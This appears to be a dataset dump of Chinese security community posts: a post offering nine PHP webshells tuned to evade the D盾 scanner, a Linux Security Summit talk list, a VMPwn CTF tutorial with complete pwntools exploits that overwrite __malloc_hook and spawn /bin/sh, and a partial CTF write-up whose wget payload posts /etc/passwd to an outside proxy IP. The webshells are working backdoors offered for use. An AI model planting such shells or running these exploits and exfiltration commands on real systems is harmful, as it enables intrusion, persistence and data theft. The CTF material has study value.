text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# **0x00 前言**
最近在测试过程中遇到了D盾，悲催的发现所有过D盾的webshell都被查杀了。因此就在网上搜索了一些之前可以过D盾的shell，然后将其做了一些变形（有一些shell没有更改），使其可以过D盾。本次一共奉献上9个可过D盾的shell，全部亲测可过。
# **0x01 extract 变量覆盖过D盾**
<?php $a=1;$b=$_POST;extract($b);print_r(`$a`)?>
# **0x02 parse_str 变量覆盖过D盾**
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>
# **0x03 __destruct 析构函数过D盾**
<?php
class User
{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user->name = ''.$_POST['name'];
?>
# **0x04 null 拼接过D盾**
<?php
$name = $_GET['name'];
$name1=$name2= null;
eval($name1.$name2.$name);
?>
# **0x05 '' 拼接过D盾**
<?php
$name = $_GET['name'];
$name1=$name2= '';
eval($name1.$name2.$name);
?>
# **0x06 '' null 拼接过D盾**
<?php
$a = $_GET['a'];
$c = null;
eval(''.$c.$a);
?>
# **0x07 array_map函数过D盾**
<?php
function user()
{
$a123 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return ''.$a123;
}
$a123 = user();
$x123 =array($_GET['x']);
array_map($a123,$a123 = $x123 );
?>
# **0x08 call_user_func_array函数过D盾**
<?php
function a(){
return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);
?>
# **0x09 call_user_func函数过D盾**
<?php
function a(){
return 'assert';
}
$a=a();
$aa=$_GET['x'];
call_user_func($a,$a=$aa);
?> | 社区文章 |
# 【技术分享】10个视频带你快速纵览2016 Linux安全峰会
|
##### 译文声明
本文是翻译文章，文章来源：linux
原文地址：<https://www.linux.com/news/linux-security-summit-videos>
译文仅供参考，具体内容表达以及含义原文为准。
**视频打包下载地址：<https://yunpan.cn/ckcsVutZKcXK7>** **访问密码 f9f4**
**会议简介**
Linux安全峰会，即：Linux Security
Summit（LSS）是一次全球性的技术论坛峰会，与会者主要包括从事Linux系统开发的工作人员、Linux安全问题研究人员以及Linux系统用户等。
**举办该峰会的目的是为了集各家之所长，分析在开发
Linux系统过程中所遇到的技术瓶颈，提出解决方案；同时，解决一些Linux系统存在的安全问题，以此促进全球Linux研究事业不断向前发展。**Linux安全峰会也被看作是一次为全球Linux研究人员精心准备的盛会。
**
**
**2016 Linux** **安全峰会介绍**
今年8月25-26日，2016年Linux安全峰会（LSS）在加拿大多伦多市海港城堡威斯汀酒店会议中心隆重举行，与会者汇聚了来自全球Linux研究领域的众多专家学者。在为期两天的会议里，多位与会者就各自准备的议题进行了详细阐述。他们也通过此次会议，向公众分享了自己的研究成果与心得体会。
以下是我们为读者精心选取的19个关于介绍此次安全峰会议题的会议视频。这19个视频涵盖了19位从事Linux系统研究工作的专家学者的研究成果，以及他们在研究过程中所获得的体会与感悟。相信读者在看完这些视频之后，一定会对Linux系统以及相关的安全问题产生更为深刻的理解和认识，一定会让你感到受益匪浅！
**
**
**视频介绍**
**1.** **《Keynote** **：Inside the mind of a Coccinelle Programmer**
**》（走进一名Coccinelle** **程序员的内心世界）讲述人：Julia Lawall**
【[点我查看](https://www.youtube.com/watch?v=aMkCKeZ8xZw)】
**作者简介** ：Julia Lawall， Inria（法国国家信息与自动化研究所）的高级研究员，Coccinelle工具的开发者。
她所从事的研究方向是实现操作系统与编程语言之间的良好对接。基于这个研究方向，她开发出了Coccinelle这款工具（Coccinelle是一个程序的匹配和转换引擎，它提供了SMPL语言包，用于指定C代码所需的匹配和转换。）；同时她还开发出了1000余个Linux内核补丁。在FOSDEM（自由及开源软件开发者欧洲会议）、Linux
Plumbers、以及Linux Kernel Summit（Linux内核峰会）等众多的IT论坛峰会上，Julia
Lawall都向公众展示了Coccinelle，阐述了其具有的优势以及良好的性能。
从2015年起，她便一直担任Linux Kernel Outreachy项目组的协调员一职，参与项目的研发工作。同时作为导师，她还带着3名刚进入Linux
Kernel Outreachy项目组的实习生，对其进行指导。在《Keynote：Inside the mind of a Coccinelle
Programmer》报告中，Julia Lawall着重讲述了Coccinelle工具的性能和优势，以及如何才能成为一名优秀的Coccinelle程序员。
****
**
**
**2** **．《 Status of Kernel Self Protection Project** **》 ****（ Linux**
**内核自我保护项目的现状） ****讲述人： Kees Cook
**【[点我查看](https://www.youtube.com/watch?v=aMkCKeZ8xZw)】
**作者简介** ：Kees Cook，Google公司物联网安全研究员。
从1994年起，Kees
Cook便一直致力于免费软件的研究。现在，他已经被Google公司聘为物联网安全研究员，从事物联网安全研究工作。在2006-2011年间，Kees
Cook在Canonical公司任职，担任Ubuntu Security
Team的技术总监，同时也是Ubuntu技术委员会委员。他编写了包括GOPchop、Sendpage在内的多个开源工具软件，同时参与了OpenSSH、Inkscape、Wine、MPlayer以及Wireshark等软件的研发。目前，他正从事Linux内核安全问题的研究工作。
在《 Status of Kernel Self Protection Project》报告中，Kees
Cook主要介绍了维护Linux内核安全的重要性以及如何利用现有的技术实现对内核的防护。
**
**
**
**
**3.** **《 Towards Measured Boot Out Of the Box** **》 ****（如何更好地使用系统中的
Measured Boot** **模块）讲述人： Matthew Garrett
**【[点我查看](https://www.youtube.com/watch?v=EzSkU3Oecuw)】
**作者简介** ：Matthew Garrett，CoreOS公司安全软件开发员，致力于研究如何确保装有类似于LXC（Linux
Containers）工具的系统的安全。
Matthew
Garrett曾从事过计算机固件整合、电源管理等方面的工作，有着深厚的知识储备，这就使他在处理系统复杂性问题和逆向工程问题，显得游刃有余，时常会产生一些创造性的想法。现在，Matthew
Garrett是FSF（自由软件基金会）董事会成员，同时也是FSF的忠实拥趸。
在《Towards Measured Boot Out Of the Box》报告中，Matthew
Garrett主要讲述了为什么要在系统中加入Measured Boot模块；以及我们应如何利用操作系统中的Measured Boot模块维护系统安全等问题。
**4.** **《 On the way to Safe Containers** **》 ****（维护容器工具的安全，任重而道远）讲述人：
Stephane Graber **【[点我查看](https://www.youtube.com/watch?v=FJ2nDQ-aXHM)】
**作者简介** ：Stephane Graber，Canonical公司LXD项目团队技术带头人，致力于系统容器工具的研究。
同时，他也是很多LXC和LXD项目研发小组的负责人。Stephane
Graber同时也是一位演讲者，在很多的IT峰会中，都曾留下过他的身影。熟悉Stephane Graber的读者应该不会对此感到陌生。同时，Stephane
Graber也是Ubuntu Linux研发团队的核心骨干，长时间从事Ubuntu Linux系统的开发工作。目前他是Ubuntu技术委员会成员。
在《On the way to Safe Containers》报告中，Stephane
Graber主要介绍了LXC和LXD工具；工具实现的方法；容器工具的局限性以及在应用中如何打破这些限制等问题。
**
**
**
**
**5**. **《 State of AppArmor** **》 ****（ AppArmor** **— Linux**
**内核中的强制访问控制系统） ****讲述人： John Johansen**
【[点我查看](https://www.youtube.com/watch?v=xahVJB2FxK0)】
**作者简介** ：John Johansen，Canonical公司安全工程师，从事Linux内核中AppArmor安全模块的研究工作。
在 《State of AppArmor》报告中，John
Johansen详细介绍了AppArmor安全模块及功能。AppArmor是一个高效和易于使用的Linux系统安全应用程序，能对操作系统和应用程序实施从内到外的保护；能够抵御由未被发现的零日漏洞或应用程序漏洞发起的攻击。
**
**
**6.** **《 AMD x86 Memory Encryption Technologies** **》 ****（概述 AMD x86**
**处理器中的存储加密技术） ****讲述人： David Kaplan
**【[点我查看](https://www.youtube.com/watch?v=kIQByfvsDa0)】
**作者简介** ：David
Kaplan，AMD公司硬件安全架构师，致力于研发新的硬件安全加密技术。在AMD公司的生产线中，提高硬件的安全性是其中的中心环节。David
Kaplan同时也是AMD硬件存储加密功能的首席设计师。在过去的4年时间里，他一直专注于如何提升CPU和SOC（系统级芯片）安全性能的研究。David在研究如何提高AMD
x86处理器性能方面，有着10年的工作经验。到目前为止，David已经拥有了30余项研发专利，并在各大IT论坛峰会上进行过演讲。
在《AMD x86 Memory Encryption
Technologies》报告中，David向公众介绍了AMD公司在提升x86处理器安全性能方面所采用的两项新技术。第一项技术，针对中小企业而研发的数据安全加密技术（SME），旨在保护系统免受来自物理访问的攻击；第二项技术，虚拟化安全加密技术（SEV）。它能允许用户在不使用系统管理程序的情况下，单独运行虚拟机。
**7.** **《 Securing Filesystem Images for Unprivileged Containers** **》
****（如何确保未授权容器中文件映像的安全）讲述人： James Bottomley**
【[点我查看](https://www.youtube.com/watch?v=wfE3JayCejQ)】
**作者简介** ：James
Bottomley，IBM公司著名的云存储技术和容器工具研发工程师，负责SCSI系统中Linux内核的维护工作。他是Linux
Foundation（Linux基金会）的执行董事，同时也兼任着Linux Foundation技术顾问委员会主席一职。James
Bottomley本科就读于著名的英国剑桥大学，毕业之后，他选择继续留在母校深造。在取得博士学位之后，James进入了AT&T贝尔实验室，从事分布式加锁管理技术的研究工作。2000年，James
Bottomley曾参与了SteelEye技术的检测工作。
在《Securing Filesystem Images for Unprivileged Containers》报告中，James
Bottomley介绍了如何在未经授权的容器工具中，确保文件映像安全的问题。
**
**
**
**
**8** **． ****《 Android** **： Protecting the Kernel** **》 ****（如何保护 Android**
**系统内核） ****讲述人： Jeffrey Vander
Stoep**【[点我查看](https://www.youtube.com/watch?v=WxbOq8IGEiE)】
**作者简介** ：Jeffrey Vander
Stoep，Google公司软件工程师，隶属于Google公司Android安全项目研究团队，负责提升Androiod系统安全性的研究工作。
在《Android：Protecting the Kernel》报告中，Jeffrey Vander
Stoep讲述了黑客攻击Android系统内核的方式；黑客将会攻击的内核模块；以及向Android开源代码项目和Android
N版本操作系统中加入的内核保护措施等。
**9.** **《 Design and Implementation of a Security Architecture for Critical
Infrastructure** **》（关键基础设施安全体系架构的设计与实现） ****讲述人： David
Safford**【[点我查看](https://www.youtube.com/watch?v=LDQxzz42Bs0)】
**作者简介** ：David
Safford，美国通用电气公司（GE）全球研究中心高级工程师，从事各个行业的控制系统安全研究工作，致力于为各大公司提供安全问题解决方案。David
Safford的初始研究领域是在Linux系统中，如何取得硬件启动程序的安全认证。他曾就职于IBM
T.J.Watson研究中心（该机构为IBM公司的一个下属科研机构）。随后，David
Safford去了美国德克萨斯州A&M大学任教，并从事超级计算机和大数据研究工作。同时，在美国海军和空军中也留下过David
Safford的身影。他曾经担任过潜艇驾驶员和飞机试飞员。由此可看出，David Safford的人生阅历可谓十分丰富。
在《Design and Implementation of a Security Architecture for Critical
Infrastructure》报告中，David Safford介绍了维护国家关键基础设施安全的重要性，以及建立安全体系架构的方法。
**10. 《TPM》（TPM安全芯片技术详解）讲述人：Jarkko Sakkinen【**[
**点我查看**](https://www.youtube.com/watch?v=x0TD0P8KOs8) **】**
**作者简介** ：Jarkko Sakkinen，因特尔公司软件工程师，从事TPM芯片的研发工作。
在《TPM》报告中，Jarkko
Sakkinen详细介绍了TPM（可信赖平台模块）安全芯片的设计理念，工作原理以及用途。用途包括：存储、管理BIOS开机密码和硬盘密码；可进行大范围的加密工作；可加密硬盘的任意分区等。
**视频打包下载地址：<https://yunpan.cn/ckcsVutZKcXK7>** **访问密码 f9f4** | 社区文章 |
# VMPwn之温故知新
## 前言
VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着`0xC4m3l`师傅的文章系统学习了一下VMPwn，到今天发现VMPwn已经成了一个主流的出题方向，在去年的上海大学生网络安全大赛和红帽杯的线下也有几道VMPwn，因此我这里拿几道最近的题目来总结一下此类问题的一般思路。
## 题目概述
我们现在常见到的VMPwn基本设计如下：
1. 分配内存模拟程序执行，基本组成要素为代码区和数据区，这两块区域可以分配在同一块内存或者两块独立内存。
2. 数据区域包含模拟栈和模拟寄存器。
3. 代码区根据用户指令模拟各种操作，如压栈出栈，寄存器立即数运算等
4. 一般都是数据区的读写越界引发的漏洞，根据数据区内存分配位置的不同可以分为栈越界，bss越界和堆越界三类问题。
典型的题目有ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop等。除了这种在机器码层面模拟程序执行的题目，还有模拟运行高级语言代码的题目，二者侧重点不太一样，我们分别拿例题来讲解。
## 汇编类VMPwn
这类问题的核心就是逆向，漏洞多是越界读写，先分析VM接收的数据格式，之后通过静态代码分析和动态调试搞清每条模拟指令的含义，再根据指令进行组合利用漏洞。
### 2020-no-Conv-CTF_EasyVm
#### 程序逻辑
在逆指令前，可以通过IDA的结构体导入功能导入C语言形式的结构体，简化代码。经过分析，核心的数据结构是这样一个node结构体。
struct node{
unsigned int reg[6];
unsigned int chunk1;
unsigned int chunk2;
unsigned int memchunk;
unsigned int res2;
unsigned int chunk_addr;
};
首先是main函数的代码，大的功能是分配一块区域供用户写指令和数据，将这块内存作为参数交与VM虚拟机执行，释放堆内存以及给一个present。
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // ST2C_4
node *ptr; // [esp+18h] [ebp-18h]
int bss_addr; // [esp+ACh] [ebp+7Ch]
Init();
ptr = SetInit();
while ( 1 )
{
switch ( menu() )
{
case 1:
buf = malloc(0x300u); // produce
read(0, buf, 0x2FFu);
ptr->mem_chunk = (unsigned int)buf;
break;
case 2: // start
if ( !ptr )
exit(0);
MainMethod(ptr);
break;
case 3:
if ( !ptr )
exit(0);
free((void *)ptr->chunk_addr); // Recycle,double free
free(ptr);
break;
case 4:
puts("Maybe a bug is a gif?");
some_bss_val = bss_addr; // 这里需要调试看到这个值
ptr->mem_chunk = (unsigned int)&unk_3020;
break;
case 5:
puts("Zzzzzz........");
exit(0);
return;
default:
puts("Are you kidding me ?");
break;
}
}
}
MainMethod函数实现的指令比较多，我们截取漏洞利用用到的，其他的指令还有`add,sub,sub,mul,div,xor,>>,<<,return,or,and`。
0x80这条指令同Magic函数相关，在IDA中其反编译的效果并不好，在gdb动态调试之后我们可以发现这条指令的含义是`ptr_chunk[idx]=val`，其中idx和val都是可控数据，因此这里存在堆越界写。
0x53指令调用putchar输出`*reg[3]`的值。
0x76指令设置`reg[3]=*(ptr_chunk->chunk1)`。
0x54指令调用getchar函数向`ptr_chunk->reg[3]`存储的地址里输入值。
0x9指令将我们main函数中获取的present赋值给`ptr_chunk->reg[1]`，配合指令0x11可以将这个值输出。
unsigned int __cdecl MainMethod(node *ptr_chunk)
{ //...
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x80u )
{
ptr_chunk->reg[Magic(ptr_chunk, 1u)] = *(_DWORD *)(ptr_chunk->mem_chunk + 2);// magic here,prt_chunk[可控idx] = 可控数字
ptr_chunk->mem_chunk += 6;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x53 )// leak
{
putchar(*(char *)ptr_chunk->reg[3]); // 改为got表
ptr_chunk->mem_chunk += 2;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x76 )
{
ptr_chunk->reg[3] = *(_DWORD *)ptr_chunk->chunk1;// set val
*(_DWORD *)ptr_chunk->chunk1 = 0;
ptr_chunk->chunk1 += 4;
ptr_chunk->mem_chunk += 5;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x54 )// get input；get shell
{
v1 = (_BYTE *)ptr_chunk->reg[3];
*v1 = getchar();
ptr_chunk->mem_chunk += 2;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 9 )
{
ptr_chunk->reg[1] = some_bss_val; // set bss addr
++ptr_chunk->mem_chunk;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x11 )// leak proc base
{
printf("%p\n", ptr_chunk->reg[1]);
++ptr_chunk->mem_chunk;
}
//...
}
int __cdecl Magic(node *ptr_chunk, unsigned int one)
{
int result; // eax
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
result = 0;
if ( one <= 2 )
result = *(unsigned __int8 *)(*(unsigned int *)((char *)ptr_chunk->reg + (_DWORD)(&free_ptr - 0xBE7)) + one);
if ( __readgsdword(0x14u) != v3 )
chk_fail();
return result;
}
#### 漏洞利用
这里的漏洞就是0x80指令的越界问题，以及main函数中清空堆块时的double free，还有出题人留的一个present。
我们首先用gdb调试查看所谓的present，发现是一个bss地址，因此使用`0x9+0x11`可以泄露程序加载基址`proc_base`。
有了基址我们使用`0x80`指令将`reg[3]`改为`puts@got`，配合`0x53`的单字节打印分4次输出得到puts函数地址从而得到libc基址。
泄露heap地址也同理，我们用`0x80`指令将`reg[3]`改成`main_arena->bins[]`中的`smallbin`的存储地址，再调用`0x53`指令输出得到heap基址。
最后Getshell需要`0x80+0x76+0x54`，我们在堆上写一个`__malloc_hook`地址，通过0x80指令将`ptr_chunk->chunk1`改成存储`__malloc_hook`的堆地址，`0x76指令`则将这个地址赋值给`reg[3]`，而`0x54`指令可以单字节向`__malloc_hook`输入值，我们分4次写入`one_gadget`即可。
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./EasyVM')
libc_offset = 0x3c4b20
gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
if debug:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./EasyVM')
else:
libc = ELF('./libc-2.23.so')
p = remote('121.36.215.224',9999)
def Add(content):
p.recvuntil('>>>')
p.sendline('1')
sleep(0.02)
p.send(content)
def Start():
p.recvuntil('>>>')
p.sendline('2')
def Delete():
p.recvuntil('>>>')
p.sendline('3')
def Gift():
p.recvuntil('>>>')
p.sendline('4')
def exp():
#leak proc base
Gift()
data = p8(0x9)+p8(0x11)+p8(0x99)
Add(data)
Start()
p.recvuntil("0x")
code_base = int(p.recvn(8),16) - (0x565556c0-0x56555000)
log.success("code base => " + hex(code_base))
#leak libc
Delete()
data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd2)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd3)+p8(0x53)+'\x00'
data += '\x99'
Add(data)
Start()
p.recvn(2)
libc_base = u32(p.recvn(4)) - libc.sym['puts']
log.success("libc base => " + hex(libc_base))
#leak heap
target = libc_base + (0xf7fb2150-0xf7e00000)
malloc = libc_base + libc.sym['__malloc_hook']
shell = libc_base + gadgets[1]
data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00'
data += '\x99'
Add(data)
Start()
p.recvn(2)
heap_base = u32(p.recvn(4))
log.success("heap base => " + hex(heap_base))
#get shell
fake_heap = heap_base + (0x56559aaf-0x56559000)
fake_heap1 = heap_base + (0x56559abc-0x56559000)
fake_heap2 = heap_base + (0x56559ac9-0x56559000)
fake_heap3 = heap_base + (0x56559ad6-0x56559000)
data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
data += p8(0x80)+p8(0x6)+p32(fake_heap1)+p8(0x76)+p32(malloc+1)+p8(0x54)+'\x00'
data += p8(0x80)+p8(0x6)+p32(fake_heap2)+p8(0x76)+p32(malloc+2)+p8(0x54)+'\x00'
data += p8(0x80)+p8(0x6)+p32(fake_heap3)+p8(0x76)+p32(malloc+3)+p8(0x54)+'\x00'
data += '\x99'
Add(data)
Start()
raw_input()
p.send(p8(shell&0xff))
raw_input()
p.send(p8((shell&0xffff)>>8))
raw_input()
p.send(p8((shell>>16)&0xff))
raw_input()
p.send(p8((shell>>24)))
#gdb.attach(p,'b* 0x56555000+ 0xcaf')
p.recvuntil('>>>')
p.sendline('3')
p.interactive()
exp()
### 网鼎杯青龙组boom2
#### 程序逻辑
main函数的开始部分分配了两个大小为`0x40000uLL`的堆块，因为大于了默认的heap分配阈值，调用mmap分配内存，在堆地址中存储了一个栈地址。
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
chunk_addr = (signed __int64 *)malloc(0x40000uLL);// >0x23000,mmap
buf = (char *)malloc(0x40000uLL);
printf("MC execution system\nInput your code> ", 0LL);
read(0, buf, 0x120uLL);
chunk_addr += 0x8000;
chunk_8000_addr = chunk_addr;
--chunk_addr;
*chunk_addr = 0x1ELL;
--chunk_addr;
*chunk_addr = 0xDLL;
v4 = chunk_addr;
--chunk_addr;
*chunk_addr = a1 - 1;
--chunk_addr;
*chunk_addr = (signed __int64)(a2 + 1); // 这里放了栈地址进去
chunk_8000_addr_sub_1 = chunk_addr - 1;
*chunk_8000_addr_sub_1 = (signed __int64)v4; // 堆里保存了自己的地址
v37 = 0LL;
整个虚拟机只能执行一次，且最多执行30条指令，这里依然是只分析重点的指令，其他包括`v36和*chunk_8000_addr_sub_1`的`add/sub/mul/div/>>/&/^`等运算，不一而足。
0x0的指令存在一个明显的堆越界读，将数据赋值给v36。
0x6的指令存在同样的问题，只不过赋值的对象变成了`chunk_8000_addr_sub_1`。
0x9指令将v36作为地址取值再赋给v36。
0x11指令为v36的双重取值再赋值。
0x13指令执行`*chunk_8000_addr_sub_1 = v36`，这条指令将v36和chunk_8000_addr_sub_1关联了起来。
//choice=0
buf2 = buf;// choice为0
buf += 8;
v36 = (signed __int64)&chunk_8000_addr[*buf2];// v7可控的话这里有堆越界
//choice=1
buf3 = (signed __int64 *)buf;// choice=1
buf += 8;
v36 = *buf3;// 取buf值赋值给v36
// choice=6
chunk_8000_addr_sub_2 = chunk_8000_addr_sub_1 - 1;
*chunk_8000_addr_sub_2 = (signed __int64)chunk_8000_addr;
chunk_8000_addr = chunk_8000_addr_sub_2;
buf4 = buf;
buf += 8;
chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4];// （注意要乘8）前溢将堆地址赋值给这个值
//choice=9
v36 = *(_QWORD *)v36;//取8字节v36地址上的值赋给v36
//choice=11
v13 = (signed __int64 **)chunk_8000_addr_sub_1;// v13先放一个map地址，这个地址的值是retn_addr
++chunk_8000_addr_sub_1;
**v13 = v36;//两次取值，赋值为一个可控值
//choice=13
--chunk_8000_addr_sub_1;//把v36写到堆上
*chunk_8000_addr_sub_1 = v36;// 先让v36得到我们的那个目标值
#### 漏洞利用
这里没有输出函数，我们考虑将返回地址的`__libc_start_main`函数直接拷贝到map地址，通过加运算得到`one_gadget`。
将map上的原栈地址进行加减运算得到`retn_addr`，再用双重赋值指令把`one_gadget`写入到`retn_addr`。在exp注释中详细解释了每一条指令的目的。
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./pwn')
libc_offset = 0x3c4b20
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
if debug == 1:
gadgets = [0x45216,0x4526a,0xcd0f3,0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0]
p = process('./pwn')
elif debug == 2:
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
p = process('./pwn', env={'LD_PRELOAD':'./libc6_2.23-0ubuntu10_amd64.so'})
else:
p = remote('182.92.73.10',36642)
def exp():
#environ+0xf0 = retn_addr
libc_base = 0x7ffff7a0d000
shell_addr = gadgets[3]
target = libc.sym['__libc_start_main']+240
off = shell_addr - target
print hex(off)
p.recvuntil("Input your code> ")
#gdb.attach(p,'b* 0x0000555555554000+0xb72')
#gdb.attach(p,'b* 0x0000555555554000+0xe43')
#set args = bin_sh
payload = flat([
0,-4,#set v36 = map_addr(stack_addr on it)
9,#set v36 = stack_addr
6,0x101e0,#set chunk_8000_addr_sub_1
25,#set v36 = retn_addr
6,-0x101e3,#set chunk_8000_addr_sub_1 = map_addr
13,#set map_addr(retn_addr)
9,#set v36 = libc_start_main+240
6,0x101e0,#set map_addr
25,#set v36 = one_gadget
6,-0x101e1,#set chunk_8000_addr_sub_1 = map_addr
11,#set retn_addr(one_gadget)
])
payload = payload.ljust(8*26,'\x00')
payload += flat([
-0xe8,off,0x12345678
])
p.sendline(payload)
p.interactive()
exp()
## 编译器类VM
这类VM主要接收用户的高级语言形式的代码，模拟编译执行，相比于汇编类的VM，它更加灵活，难度也更高，做题没有固定的套路，需要自己结合题目环境解题。
### 2019红帽杯-万花筒
#### 程序逻辑 && 漏洞利用
题目是用llvm自己实现的一个小型编译器，是llvmcookbook的示例改的，toy语言，看Kaleidoscope这个名字应该就可以找到教程，gettok里定义了一些标识符，在划分语元的时候使用，这里有def、extern、if等。
在引用未定义的函数会提示`Error: Unknown function referenced`,
假如我们定义一个名称与库函数相同且没有body的函数(如`def system(a);`), 第一次调用提示`Error: Unknown unary
operator`,
之后能调用到库函数，因此我们调用`mmap`分配一块固定内存地址存放`/bin/sh`，之后调用`sytem(map_addr)`来get shell。
from pwn import *
p = process("./pwn2")
p.recvuntil("ready> ")
p.sendline("def mmap(a b c d e f);")
p.recvuntil("ready> ")
p.sendline("mmap(1,1,1,1,1,1);")
p.recvuntil("ready> ")
p.sendline("def read(a b c);")
p.recvuntil("ready> ")
p.sendline("read(1,1,1);")
p.recvuntil("ready> ")
p.sendline("mmap("+str(0x10000)+","+str(0x1000)+",3,34,0,0);")
p.recvuntil("ready> ")
p.recvuntil("ready> ")
p.sendline("read(0,65536,20);")
p.recvuntil("ready> ")
p.sendline("/bin/sh")
p.recvuntil("ready> ")
p.sendline("def system(a);")
p.recvuntil("ready> ")
p.sendline("system(0);")
p.recvuntil("ready> ")
p.sendline("system(65536);")
p.interactive()
### 2020网鼎杯青龙组-boom1
#### 程序逻辑 && 漏洞利用
这道题目也是一道编译器类的VM，程序限制我们只能进行一次函数调用，在调试过程中可以发现存储我们指令的内存地址是通过map得到的，因此其地址和libc地址偏移是固定的，我们可以定义一个变量，从这个变量的地址寻址到`__free_hook`和`system`函数，将后者覆写到前者，再调用`free('/bin/sh')`即可。
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
def exp():
gdb.attach(p,'b* 0x555555558724')
p.recvuntil("I'm living...")
payload = '''main(){int a;a=0x12345677;*(&a-161542)=&a-620937;free("/bin/sh");}'''
p.sendline(payload)
p.interactive()
exp()
## 总结
从我们举的例题中可以看到汇编类的VMPwn核心是逆向和对于已有指令的组合，编译器类的VMPwn则需要动态的调试去寻找规律，相比于前者更加复杂。 | 社区文章 |
# 巅峰极客2021 what_pickle——一道综合性的python web
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这题好像是最少人做出的web，考察的知识点比较多，综合性比较强，感觉挺有意思的。很多人都是卡在某个知识点，尤其是最后读flag阶段。总的来说，由于这题涉及到各种很经典的python安全的知识点，挺适合刚接触python安全的初学者学习。
总的来说，流程是这样的。
debug导致部分源码泄露->wget参数注入读源码->session伪造->pickle反序列化->利用proc目录/构造uaf读flag
## 分析
信息搜集一波。得到如下几个目录。
[01:33:40] 200 - 2KB - /console
[01:33:50] 500 - 14KB - /home
[01:33:51] 500 - 15KB - /images
[01:33:52] 200 - 1KB - /index
[01:33:56] 405 - 178B - /login
值得注意的是home目录和images目录的http状态码为500
访问/home和images发现是python3的flask框架，且开了debug模式。那么想到，如果有任意读文件漏洞，可以打flask的pin。所以可以多关注一下任意读。
## 信息泄露
由于开了debug模式，所以有部分源码泄露。
在访问<http://192.168.37.140/images> 的时候，可以发现
这段代码用wget去获取图片，并且还有可以控制的参数。获取到argv参数后，把argv参数作为一个list，其中，给每个argv参数前都添加了-或者—，以防止恶意url的注入。且subprocess.run时，command里面每一个元素都是单独作为一个参数，无法像bash
shell那样做命令注入。
## wget参数注入读源码
虽然看似不行，还是有方法的，wget是可以开启代理的。如果开启代理，那么
具体来说有三种开启代理的方式：
1. 环境变量中设置http_proxy
2. 在~/.wgetrc里设置http_proxy
3. 使用-e参数执行wgetrc格式的命令
这里我们可以使用-e http_proxy=http://xxx 来将其指向我们的服务器上。
更多参数的详细信息可以参考
[Wgetrc Commands (GNU Wget 1.21.1-dirty
Manual)](https://www.gnu.org/software/wget/manual/html_node/Wgetrc-Commands.html)
除此之外，还可以用—post-file来传输文件传输文件。因此，任意文件读的payload就构建好了。如下
192.168.37.140/images?image=index.html&argv=—post-file=/etc/passwd&argv=-e
http_proxy=http://1.116.123.136:1234
接下来读源代码。
/app/app.py
from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
